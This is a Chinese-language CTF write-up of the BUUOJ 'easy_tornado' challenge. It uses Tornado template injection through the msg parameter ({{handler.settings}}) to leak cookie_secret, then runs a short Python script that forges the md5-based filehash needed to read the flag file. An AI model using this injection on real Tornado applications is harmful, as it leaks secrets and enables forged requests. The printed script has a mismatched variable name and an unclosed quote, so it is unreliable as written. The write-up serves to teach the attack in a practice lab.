時隔多天,刷了一些web題之后,再回來看着到easy_tornado 1這道題,剛開始也是懼怕用代碼跑flag吧。下面我們回歸正題
首先,打開題目里面有三個鏈接
里面得代碼也給貼上吧
/flag.txt flag in /fllllllllllllag /welcome.txt render /hints.txt md5(cookie_secret+md5(filename))
簡單看了下這些東西,發現flag在/fllllllllllllag這個文件里面,后面有個render發現這提示我們是一個模板注入,然后需要拼接cookie_secret+md5(filename))並將其轉成md5值
百度了render可知,render是python的一個渲染函數,他們的url都是由filename和filehash組成,filehash即為他們filename的md5值。
然后拼接url才能獲得flag
到這里,我們首要任務時找到這個cookie_secret值,那我們怎么找呢?
存在msg參數,百度之后發現師傅們可以進行模塊注入。嘗試了error?msg={{1}},發現的確存在模塊注入。然后我們嘗試用+-*/發現都報錯,應該是被過濾了。
而我們查官方文檔,tornado在搭建一個網站時,肯定會有多個handler,而這些handler都是RequestHandler的子類
RequestHandler.settings又指向self.application.settings
所以我們可以說handler.settings指向了RequestHandler.settings了,對吧
這樣我們就可以構造一下payload:?msg{handler.settings}
於是獲得cookie_secret:
得到cookie_secret下一步就輕松多了,於是我們寫個exp跑一下
import hashlib cookie='0ff0d682-6a1e-4f11-bf15-7523afa0cd73' file_filename='/fllllllllllllag' md5_filename=hashlib.md5(filename.encode(encoding='UTF-8)).hexdigest() word=cookie+md5_filename flag=hashlib.md5(word.encode(encoding='UTF-8)).hexdigest() print(flag)
於是得到filename得hash值28102f0eea51aff93634e7fcd8982610
然后拼接url :http://efde2a0f-b219-4791-b407-c83437ac20ce.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=28102f0eea51aff93634e7fcd8982610就得到了flag
flag{8b7b6c91-b690-40f4-bf47-52d22bfcb506}